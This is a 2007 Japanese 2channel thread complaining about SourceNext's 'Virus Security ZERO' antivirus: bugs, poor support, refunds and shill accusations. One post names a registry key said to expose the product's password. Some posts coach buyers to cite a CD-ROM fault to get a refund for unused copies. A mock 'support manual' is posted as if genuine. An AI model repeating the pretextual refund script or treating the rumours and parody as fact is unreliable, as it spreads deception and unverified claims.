1 名前:名無しさん@お腹いっぱい。 [2007/06/18(月) 22:50:13 ] ソースネクストがリリースした更新料無料のセキュリティソフト 「ウイルスセキュリティ ZERO」について語るスレです。 「ウイルスセキュリティ 2006/2007」についてもこちらでどうぞ。 前スレ 【ソース/K7】ウイルスセキュリティZERO/2007 12年目 pc11.2ch.net/test/read.cgi/sec/1179207006/
369 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 14:14:49 ] >>368 じゃあヨドバシに行って確認してこいよ。 ウィルスキラーは売っているが、更新不要のウィルスキラーゼロは撤去されてるから。
370 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 14:19:41 ] やはり撤去されないどころか売れに売れまくっているウイルスセキュリティの方がいいのか
371 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:26:53 ] この前、淀へキラーゼロ買いに行ったら1個もなくて 嫁が店員に聞いたら ソースのほうのゼロをしつこく薦められた 更新無料を最初に始めたのはソースです ソースのほうが使いやすいしサポートも上です 30日以内なら返品もできます 僕も使ってますから大丈夫ですだって 結局、半分買う気になってた嫁をどうにか説得して 思いとどまらせたよ 淀とソースって裏で何かあるのか?
372 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:27:13 ] >>369 なに真っ赤になってんだよw 店員に聞いたらそのような事実はございませんと言われたよw 在庫がないだけで撤去されたと思い込む信者の知能が心配w
373 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:33:39 ] つーかキラーとキラーのゼロは期間が違うだけなんだから 一方が売っていて、一方が撤去とかすぐ捏造だと分かるんだが・・・ というかこういう捏造なんか流していていいの?いくら社員でも犯罪だぞこれ
374 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 14:40:12 ] >>373 の無知さにはあきれるねぇ。自分で確かめてみろよ。 >期間が違うだけなんだから 本気でそう思ってるのか?(プゲラ
375 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:41:44 ] マイクロソフトのオンラインのウイルスチェックで1つ見つかったのに、 ZEROは、何にも引っかからなかったよ。 今日にでも、アンインストールして、キラー入れる!。 マジで!。
376 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:42:45 ] news.livedoor.com/article/detail/3024315/
377 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:44:10 ] >>374 どうでもいいから捏造したことについて謝罪しろよ 最低のクズ野郎だな
378 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:47:38 ] >>377 捏造かどうか調べて来いよ。その後で相手にしてやるよ。ぼうや。
379 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:49:10 ] どこの量販店の店員もマニュアルどおりの「糞ース、僕も使ってマス・・・」かよw こりゃ店員に販売のノルマがあるか 売り上げに応じての歩合制のボーナスがあるかのどちらかだな ちょっとでもセキュの知識がある人間なら糞ースなんて絶対に使わない 糞ースを客に売りつけた歩合できっとカスペとかを社員割引で買うんだろうな
380 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:50:03 ] >377はウィルスキラーゼロを買って、とても気に入って使ってると思われ キラーゼロをけなされて逆上してるだけ
381 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:51:22 ] >>374 どこが違うのか説明しろ、捏造社員。 >>378 機能が同じだから捏造なのだが。
382 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:52:30 ] >>378 開き直ったか社員w しかもageてsageて忙しい自作自演ぶりだなw
383 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 14:55:18 ] ウイルスセキュリティで全く問題ない これからはウイルスセキュリティの時代だろう
384 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:55:48 ] ほんとだ。 ヨドバシドットコムでも2年版のキラーしか売ってないからヨドバシの売り場に電話してみたら キラーゼロはファイヤーウォールの不具合のため、ヨドバシでは販売をしない方針だそうだ。 >381は使ってて悔しいかもしれんが、自分で確かめた方がええで。
385 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 14:57:09 ] >>383 CD-ROMの認識とかファイナルファンタジーの不具合とかあるからねぇ
386 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 14:57:53 ] 株主だから圧力かけたな
387 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 14:59:58 ] >>381 は今、一生懸命ヨドバシドットコムをくまなく調べているだろう(プゲラ
388 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 15:00:44 ] というか何で苦情がヨドに行くんだよ サポートはイーフロだろ、バカか
389 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 15:05:19 ] >>388 ヨドバシドットコムでキラーゼロを見つけられなくて、最後の悪あがきがそれかよ 意外とつまらんちいせぇ男だな
390 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 15:07:31 ] >>387 逃げてないでさっさと具体的な機能の違いを説明しろよ・・・。
391 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 16:39:10 ] まだ売ってんのこの糞ソフト
392 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 17:12:40 ] いいかげん早く不具合を発表しろ! これは会社存続の危機だぞ
393 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 17:27:21 ] 更新料0円は凄い! 検出率も0だけど。
394 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 20:28:46 ] 昨日買ってしまったウィルスセキュリティZERO、2台用。ここ読んで入れたく なくなった。CDROMが遅くなったとか言って返品すればいい?まだ、未使用 なんだけど、パッケージのテープが汚く?がれてしまって、店に返品は出来ないと 思うんだけど。
395 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 21:25:34 ] (-人-) 他のチョッと高いソフト買うからとか言ったら受取ってくれるんジャマイカ?
396 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 21:44:55 ] >>383 >HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates >パスワードが丸見えなアンチウイルスはウイルスセキュリティだけ! > >このレジストリ値を参照するウイルスが登場したら何が痛いって >メールアドレスは公開されて、さらに第三者に勝手にパスワードを変更されることだ >そうなったらアップデートも定義の更新も何もできない、スパムも受信し放題 最大級の問題がありますが何か?
397 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 22:33:55 ] >>394 たとえパッケージ開けてたとしても平気だよ。 返金はソースネクストのサポートセンターに 「インストールしたらCD-ROMの認識が異常に遅くなったから返品したい」 とメールすれば手順を教えてくれる。今、一番クレームの多い重大な不具合だかすぐ受け入れられます。 商品の返送も不要で、シリアル番号をメールで伝えるだけ。 返金される頃に、そのシリアル番号が無効になるだけで返品・返金の処理が完了する。
398 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 22:43:55 ] >>397 3個も買っちゃったけど、それでも桶?
399 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 22:59:54 ] >>397 さん詳しくありがとうございます。返品されたんですか? 商品の返送も不要なんですね。ノートン使ってたので2台分はきついなと (金額が)思って、安さにだけ引かれたのがバカでした。比較的安くて いいソフトって何がいいんでしょう?スレ違いでしょうが・・・
400 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 23:01:26 ] >>398 もちろん大丈夫でしょう。 完全にソースネクストに非があるんだから。
401 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/07(土) 23:07:38 ] >>399 俺はこれに乗り換えた。 www.kingsoft.jp/release/070607.htm 上でも書かれてるけど、ウイルスキラーゼロは問題ありそうだし。
402 名前:名無しさん@お腹いっぱい。 [2007/07/07(土) 23:58:12 ] 噂には聞いていたがこのスレ見る限りウイルスセキュリティZEROてのは 酷いな! 糞だな! というよりソースの体質には呆れるな!
403 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 00:03:13 ] ジャパネットはPCにZEROを添付して売ってるが 知ってるのか知らないでか? どちらにしても信用落とすな
404 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 00:46:37 ] news.livedoor.com/article/detail/3024315/
405 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 00:53:46 ] ヨドバシでは2年版のキラーは売るが、キラーゼロは売らないみたいだな。
406 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 01:02:00 ] >390って負けず嫌いな割に無知だな。 キラーゼロをVISTAに入れるとどんな事が起きるか有名な話なのに。
407 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 08:29:47 ] スレ違いだけど キングはMSから認定もらってるけど MS認定済みのスパイウェアも入ってるんでね?
408 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 09:13:56 ] キングに変えようかな
409 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 11:02:03 ] ソースとキラーを叩いてキングの宣伝かwwww 低レベルの戦いだなwwwwwwwwwwwwwwwwwwwww
410 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 11:12:15 ] フリーで優秀なのがいくらでもある
411 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 11:56:41 ] >>401 さん教えてくれてありがとう。キングって中国のですよね。中国産にも いい物ってあるんだ。
412 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 12:42:50 ] 結局キラーとキングがどっこいどっこいでどん底はこれ?
413 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 13:20:50 ] ソースを除いて、おけー ソースだけはえんがちょ
414 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 13:27:17 ] >>413 ありがとう、参考にしてみるね ソース返金してもらうから次も更新無料をチャレンジ
415 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 13:30:08 ] CDドライブ読み込み遅延で見切りつけた 他の常駐セキュリティ入れてない言ったのに他ソフト消せ書いてある返信テンプレ送りやがるサポに脱帽 レジストリ監視とカード番号監視が気になるがウイルス対策を固めれば大丈夫か
416 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 14:45:14 ] >415 ただ返金だけで済ませるのはもったいないから、 電話なりメールなりで気が済むまでクレームを言ってやってくれ。
417 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 15:09:30 ] キラーの中身は同じ ttp://www.viruskiller.jp/download/index.html ※本機能はAdd-on PackとしてWindows XP/2000/Me/98用を同梱しています。 Windows Vista対応版については、アップデータで提供予定です。 となってたのにZEROのCDに入ってたファイアウォール入れて騒いだ客が多かっただけだろ
418 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 17:16:27 ] >>417 スレ違いうざ
419 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 17:33:11 ] >>412 >>413 キラーも問題が多いみたいだぜ。
420 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 17:49:24 ] 金取って、フリーより検出悪いソースが犯人だ
421 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 17:58:06 ] pc11.2ch.net/test/read.cgi/sec/1162464139/376
422 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 21:22:15 ] キング最高!
423 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 21:37:13 ] これ本スレだよね。 キング工作員に占拠されちゃったなw 糞ース社員ガンガレー! ヽ(`Д´)ノ
424 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 21:38:45 ] 社員ががんばったら結局糞スレだろ・・・
425 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 22:07:15 ] ソースネクストにCD-ROMの不具合をホムペで公表させるべく、みんなで突撃するスレかとおもた。
426 名前:名無しさん@お腹いっぱい。 [2007/07/08(日) 23:18:48 ] >>415 >返信テンプレ送りやがるサポ それそれ! ソースのやり口 原因が解っている故の逃げ口上
427 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/08(日) 23:27:49 ] テンプレとサポートツールが登場してきた場合は、 「ああその不具合なら、他からもクレーム来てるけど、直し方が分かりませんでした。」 と言う意味です。
428 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/09(月) 02:44:35 ] 現状で未解決の不具合って、どの位有る?
429 名前:とりあえず mailto:sage [2007/07/09(月) 12:21:26 ] CD読み取り遅延 AL-Mail強制終了(使用するなと公言) 火壁で青死(改善された?) パスワード丸見え(こんなのちょちょいのちょいで直せるだろがw) といったところかな・・・
430 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/09(月) 12:32:10 ] ここまで読んでZERO導入やめようかと思ったけど、 一応聞きたかった質問をさせてくれ。 オークで売ってるシリアスナンバーを買って、 手元にあるCD-ROMでインストールって可能?
431 名前:名無しさん@お腹いっぱい。 [2007/07/09(月) 13:05:11 ] 多分ソースの社員 サポートも此処見てると思われるが (親爺は見たことあるかな?或いは社員から書き込みの内容を聞いたことある?) このスレでウイルスセキュリティの検出率、不具合、サポートの無能 無責任 等々、 昔から多く書き込みされているが、 ソースの体制、体質はどんなの? 親爺含めてこんなもの? それとも親爺の方針?
432 名前:名無しさん@お腹いっぱい。 [2007/07/09(月) 18:36:37 ] ウイルスチェックするとシャットダウンしてしまうんだが。 1ヶ月以上たつのに何の対応もしないな。 電話してもつながらないし。 不安で仕方がないんだが。 上場している会社とはとても思えん。
433 名前:名無しさん@お腹いっぱい。 [2007/07/09(月) 18:40:16 ] サポートする側も感染しているのではジャマイカ?
434 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/09(月) 18:47:18 ] トラブルが起こったんでメールしたら 「調べてお返事するので待っててください」と返信があってからかれこれ一週間以上・・・。 うちのパソコン、その間ウイルスに晒され続けるのですか?
435 名前:名無しさん@お腹いっぱい。 [2007/07/09(月) 19:11:00 ] ここに書かれていることが本当なら詐欺てかペテンてかオウムてか悪辣だな
436 名前:432 [2007/07/09(月) 19:49:18 ] Q. 【ウイルスセキュリティ】パソコンを使用していると、「K7Sentry.sys」のエラーが発生して青い画面になる https://www.sourcenext.com/faq/action/faqdetails?kind=technical&no=VS-00662&sugtype=4&logid=33607249 俺の場合は、ウイルスチェックするとシャットダウンして、「K7Sentry.sys」のエラーが発生して青い画面になる から、若干違うけど。 製品サポートのとうりにやっても、全く改善されない。
437 名前:名無しさん@お腹いっぱい。 [2007/07/09(月) 21:34:46 ] ↑ PCのスペックが糞、確実。 俺のは、ハイスペックなんで不具合なし。
438 名前:432 [2007/07/09(月) 22:07:40 ] >>437 そーなのか。
439 名前:名無しさん@お腹いっぱい。 [2007/07/09(月) 22:18:40 ] どうでもいいけど、DVD認識に 干渉するのを直してくれぃ。 パスパワーのDVDドライブなんか、 ACアダプターを付けないと 待てど暮らせど全然認識せず。 性能が悪いからという話もあるけど、 K7を消すと問題は無い。
440 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/09(月) 22:35:37 ] こ れ か ら の 常 識 ウ イ ル ス キ ラ ー の 場 合 初期費用 3940円 ┌┐ ││ ││ 更新不要 ││ Windows Vista Business、Enterpriseなら2017年まで ││ HomeBasic、HomePremium、Ultimateなら2012年まで使えます ┴┴────────────────────────────→ 2007 2012 *ウイルスセキュリティZEROはこれより30円高い以外はウイルスキラーと同じです キ ン グ ソ フ ト の 場 合 初期費用 2980円 ┌┐ ││ 更新不要 ││ Windows Vistaを使い続ける限り使えます ┴┴────────────────────────────→ 2007 20XX
441 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/09(月) 22:37:54 ] このままだとたった5年なんだよなウイルスセキュリティの期限ってw そもそもマイクロソフトの認証を受けていないからそれ以前の話なんだが
442 名前:名無しさん@お腹いっぱい。 [2007/07/09(月) 22:55:03 ] >>429 何かのオンラインゲームができなくなるって聞いたけど。
443 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/09(月) 22:58:01 ] >>437 軽いんじゃねーの
444 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/09(月) 23:02:32 ] >>430 可
445 名前:名無しさん@お腹いっぱい。 [2007/07/09(月) 23:41:34 ] >>430 入れたが最後、CD-ROMの認識が遅くなるよ。
446 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/10(火) 00:46:29 ] >>429 WLR-U2-KG54が使えない。(DS-wifiの時も対応にえらく時間がかかった) FF11のアップデートでエラーが出る。 富士通機のFMVランチャーのガジェットでエラー。 Fighter Ace(ネットワーク型対戦フライトシム?)が動作不能になる。
447 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/10(火) 01:39:34 ] >>430 ほう、VSはシリアスな存在なんだ
448 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 02:00:47 ] >>436 「k7sentry.sys」のエラーについて(2007/06/13) 一部の環境で、パソコンを使用中に「k7sentry.sys」のエラーが発生する 現象が報告されておりましたが、バージョン9.4.0027の自動アップデートで 対応いたしました。 ↑ 何年か前にもあったよ、結局なにも変わってないw ↓ エラーの原因は K7 Firewall (K7Sentry.sys) です : 具体的な解決策はありません マイクロソフトのアナリストがこの問題を調査したところ、 K7 Firewall (K7Sentry.sys) で不明なエラーが発生していたことがわかりました。 このソフトウェアの製造元は K7 Computing Ltd です。 推奨事項 マイクロソフトは K7 Computing Ltd と共にこの問題について調査しましたが、 現段階では、報告された問題の解決策はありません。 以下は、問題の再発防止に有効な推奨事項です。 サポートまたは製品の更新プログラムについては、K7 Computing Ltd に問い合わせてください。
449 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 02:02:28 ] 【総連】「安倍一味には負けない」総連弾圧に対して措置取る…朝鮮外務省代弁人声明 ttp://news21.2ch.net/test/read.cgi/news4plus/1183572310/l50
450 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 02:09:01 ] >>436 >>344 を参考にしなさい >肝心な問題解決となると定番のサポートツールでの情報を求め、 >送っても原因不明なので返金に応じるとのレスばかり 【サポートツール】 即返金に応じるとユーザーの不信感を募らせるため、 何かしらの対応をしてるかのごとく見せるために使用するツールである。 これによりユーザーは不具合が解消する期待感を持ち 一旦はその場の怒りを納めてしまうとても便利で有用なツールである。 ※ソースネクストサポートセンターマニュアル用語集より
451 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/10(火) 02:26:44 ] >>450 ソースネクストサポートセンターマニュアル用語集 【補足】 サポートツールの手法は、1度使用したユーザーには効果がないばかりか 逆効果でクレームが激しくなると言う危険性が伴うため、2度目以降の使用には 十分注意が必要である。
452 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 12:46:33 ] 最高!
453 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 13:47:45 ] >>450 >>451 見て寒気がした ソースてのは、なんちゅう事を!
454 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 17:21:05 ] 9.4.0053
455 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 17:57:43 ] 今日インスコ完了。 俺の非力ノート(メモリ256MB)だからこれしか入れれなかった。 検知力の低さは分かってる。感染しないように祈るばかり。
456 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 19:06:59 ] >>455 ひとばしら乙 メモリ256MBって取り立てて低スペックとは言えないんでね NISやKIS以外ならたいていは行けるはず んなことよりもメモリに不満があるなら 増設して解決するという道を何故取らなかったかワケワカメ 数年前と違って今は安いのに
457 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/10(火) 19:14:05 ] メモリに関してはノートンやカスペの方が使用量が少ないんだけどね・・・ CPU使用率に関しては上2つの方が高いが
458 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/10(火) 20:37:24 ] >>456 xp環境で、今時は256MBじゃ辛い。 webページにしたって、FLASHはメモリ喰うし、そうでなくてもHtmlでcssを駆使するページ閲覧は重くなる。 全般的にサイトの1ページあたりの掲載画像点数も増えたから、384MBは最低でも欲しい。
459 名前:名無しさん@お腹いっぱい。 [2007/07/10(火) 21:34:22 ] >>458 なんだその半端な数字? 人間も半端な野郎なんだろう。
460 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/10(火) 21:39:05 ] 256+128。全然半端ではないだろう。
461 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/10(火) 21:39:48 ] 社員は馬鹿だから256+128の算数もできないらしい
462 名前:432 [2007/07/10(火) 22:53:40 ] K7 Firewall (K7Sentry.sys) が原因で発生した問題 この問題は、K7 Firewall (K7Sentry.sys) が原因で発生しました。K7 Firewall (K7Sentry.sys) の製造元は SOURCENEXT です。 製造元に連絡を取ることができなかったため、現時点ではマイクロソフトは追加情報を入手できておりません。 推奨事項 -------------------------------------------------------------------------------- K7 Firewall (K7Sentry.sys) の詳細については、オンラインで SOURCENEXT の Web サイトにアクセスしてください : SOURCENEXT この問題を解決できないまま引き続きエラーが表示される場合は、K7 Firewall (K7Sentry.sys) を削除することもできます。 Windows Vista でプログラムをアンインストールする方法 [プログラムと機能] をクリックして開きます。 プログラムを選択して、[アンインストール] をクリックします。 一部のプログラムについては、アンインストールのほかにプログラムを変更または修復するオプションがありますが、 多くのプログラムについては、アンインストール オプションのみがあります。 プログラムを変更するには、[変更] または [修復] をクリックします。 管理者のパスワードまたは確認事項の入力を要求されたら、自分のパスワードまたは確認情報を入力します。 -------------------------------------------------------------------------------- この回答を評価する : フィードバックを送信する K7 Firewall (K7Sentry.sys) を削除しても問題ないのかな?
463 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 12:18:25 ] 3年ほど前にネットワーク組んだ事務所から苦情が上がった 共有PCが見えない、通信速度が異常に遅い 夜中に駆けつけて見ると案の定 ノートンが削除されてこのソフトが勝手にインストールされていた どう設定してもFWを停める以外に解決できないのでそうして来た。 震える手でメモを残しておいた「このソフトはセキュリティー(効果)ゼロ と呼ばれています」
464 名前:名無しさん@お腹いっぱい。 [2007/07/11(水) 12:46:48 ] な・なんだって〜!?
465 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 12:54:00 ] >>463 通常、どこの会社でも共有は毎日使っているから、 それをインストールした時点で気づくだろうに・・ ”事務所から苦情”が作り話なら75点とぃうところだろうか。
466 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 13:09:00 ] >>464 共有PCが見えない---インターネットからも見えないためセキュリティの向上 通信速度が異常に遅い---仮に漏洩となる事態でも全部流れる前に気づき阻止できる ノートンが削除されてこのソフトが勝手に---どのセキュリティソフトでも通信などの不具合はでるのが当たり前 どう設定してもFWを停める以外に解決できない---君のFWの理解力が低い 震える手でメモを残しておいた---君が震えるまでも無かろう
467 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 13:10:46 ] 不具合ではなく、デフォルトのFWが遮断してくれるのはあたりまえに訂正
468 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 13:12:45 ] とネタに釣られてみる
469 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 13:34:54 ] 以上、社員の日記でした。
470 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 13:42:02 ] 実際にサポでもこんな答え方だったら笑えるなw
471 名前:名無しさん@お腹いっぱい。 [2007/07/11(水) 13:49:38 ] 448 :名無しさん@お腹いっぱい。:2007/07/10(火) 02:00:47 >>436 「k7sentry.sys」のエラーについて(2007/06/13) 一部の環境で、パソコンを使用中に「k7sentry.sys」のエラーが発生する 現象が報告されておりましたが、バージョン9.4.0027の自動アップデートで 対応いたしました。 ↑ 何年か前にもあったよ、結局なにも変わってないw ↓ エラーの原因は K7 Firewall (K7Sentry.sys) です : 具体的な解決策はありません マイクロソフトのアナリストがこの問題を調査したところ、 K7 Firewall (K7Sentry.sys) で不明なエラーが発生していたことがわかりました。 このソフトウェアの製造元は K7 Computing Ltd です。 推奨事項 マイクロソフトは K7 Computing Ltd と共にこの問題について調査しましたが、 現段階では、報告された問題の解決策はありません。 以下は、問題の再発防止に有効な推奨事項です。 サポートまたは製品の更新プログラムについては、K7 Computing Ltd に問い合わせてください。
472 名前:名無しさん@お腹いっぱい。 [2007/07/11(水) 13:50:24 ] 450 :名無しさん@お腹いっぱい。:2007/07/10(火) 02:09:01 >>436 >>344 を参考にしなさい >肝心な問題解決となると定番のサポートツールでの情報を求め、 >送っても原因不明なので返金に応じるとのレスばかり 【サポートツール】 即返金に応じるとユーザーの不信感を募らせるため、 何かしらの対応をしてるかのごとく見せるために使用するツールである。 これによりユーザーは不具合が解消する期待感を持ち 一旦はその場の怒りを納めてしまうとても便利で有用なツールである。 ※ソースネクストサポートセンターマニュアル用語集より 451 :名無しさん@お腹いっぱい。:2007/07/10(火) 02:26:44 >>450 ソースネクストサポートセンターマニュアル用語集 【補足】 サポートツールの手法は、1度使用したユーザーには効果がないばかりか 逆効果でクレームが激しくなると言う危険性が伴うため、2度目以降の使用には 十分注意が必要である。
473 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 13:59:53 ] ZEROを入れたらどのFTPソフト使ってもファイルがアップロードできなくなった・・・。 HP更新できないじゃん・・・。 みんなはどうしてるんですか?
474 名前:294 mailto:sage [2007/07/11(水) 14:09:29 ] 無事返金されましたのでこのスレを本日をもって去らせていただきます もしも不満がこのソフトにあるという人は諦めずに電話してみてください 黙って泣くより、マシかとおもいます
475 名前:467 mailto:sage [2007/07/11(水) 14:11:10 ] >不具合ではなく、デフォルトのFWが遮断してくれるのはあたりまえに訂正 >>470 ところでFWのファイル共有はデフォルトでは通過だっただろうか? スマソな、ゼロ使いでなくて。 笑いたければ笑えばいい。笑えよ笑え。
476 名前:465 mailto:sage [2007/07/11(水) 14:16:25 ] ただの通りすがりですので、このレスをもって去らせていただきます。
477 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 14:41:07 ] 通信速度が異常に遅い---仮に漏洩となる事態でも全部流れる前に気づき阻止できる 通信速度が異常に遅い---仮に漏洩となる事態でも全部流れる前に気づき阻止できる 通信速度が異常に遅い---仮に漏洩となる事態でも全部流れる前に気づき阻止できる
478 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 15:49:41 ] >>473 タスクトレイのK7ウィルスセキュリティアイコン右クリック すべての機能を無効にしている。
479 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 16:24:29 ] >>477 文章ファイルなんかたかが数バイトなのにな
480 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 16:48:30 ] 『重要なお知らせ 本製品のWindows Me/98/98SEにおける製品サポートは2007年7月11日で終了いたしました。』
481 名前:名無しさん@お腹いっぱい。 [2007/07/11(水) 21:04:31 ] >>478 それやってもダメでwindowsファイアウォール切ったらいけた
482 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 21:09:34 ] >>480 XPなのに終了されたんだが…
483 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 21:45:35 ] >>482 KWSK
484 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 22:17:59 ] windowsセキュリティの緊急警告が出てるので見てみたら 「ウィルス対策 見つかりません」 (ちなみにファイアウォールと自動更新は有効) んで「ウイルスセキュリティ」のパネルあけたら、すべて有効にはなっている でも「お知らせ」には>>480 の文章 「詳しくはこちら」のリンク先飛んでみたら 『Windows Me/98/98SEでお使いの方へ(2007/07/11) マイクロソフト社のセキュリティ修正プログラムの提供が終了しました』 PCはXPのサービスパック2なのに…???
485 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 22:19:09 ] 明日あたり、ソースネクスト夜逃げのニュースがでたりして。
486 名前:名無しさん@お腹いっぱい。 [2007/07/11(水) 22:37:54 ] ソースネクスト最高!
487 名前:486 mailto:sage [2007/07/11(水) 22:51:55 ] もちろん最高に駄目という意味です わざわざ言わなくても分かるとは思いますが
488 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/11(水) 23:41:49 ] あーげ
489 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 01:05:51 ] >484 仮にOSがWindows Me/98/98SEとご認識されてたとしても、2008年5月まで定義ファイルは提供されるみたいだけどね。 sec.sourcenext.info/support/win_me-98.html
490 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 01:10:51 ] マイクロソフト社のセキュリティパートナーに入ってない件
491 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 08:08:24 ] 俺も>>484 と同じ状況
492 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 14:54:11 ] とりあえず愚痴いってる人は サポートрオて返金してもらえば? 前例できたみたいだし、同じ不具合と訴えれば話早いんじゃない? 「ネットでみたいんですが、うちも同じくCD等の認識が遅いので(r」 で返金してほしいんですがと
493 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 15:01:47 ] とりあえずあまりに不具合多すぎてPC壊れそうな勢いなのでサポートに電話中 (昨日に続き今日も)
494 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 15:19:29 ] すでに15分待たされている・・・電話代が・・・
495 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 15:39:07 ] >>493 仕事中10時のサポート開始の直後に少しだけ休憩もらって かけたときでも3,4分待たされたからな CD,DVDの不具合はドライブに負荷かけてる気がしないでもないね サポートにクレーム言う際は、やれることは一通りやったことは伝えたほうがいいよ 間違いなくインストールしなおしてください、ファイアウォールを切ってみて下さい このいつもの決まり文句は確実に来ると思うんで、ソフトの相性ってのは判るけど XP自体と相性がわるいってのは詐欺だしね
496 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 16:16:51 ] 45分もかかったがなんとか終了。不具合と>>495 の言った通り一通りやったことを 告げると特別返金ということであっさり返金になった。 こんなことなら他のセキュリティソフト入れとけばよかった・・・ ソースネクスト製品だけはもう2度と入れないぜ・・・
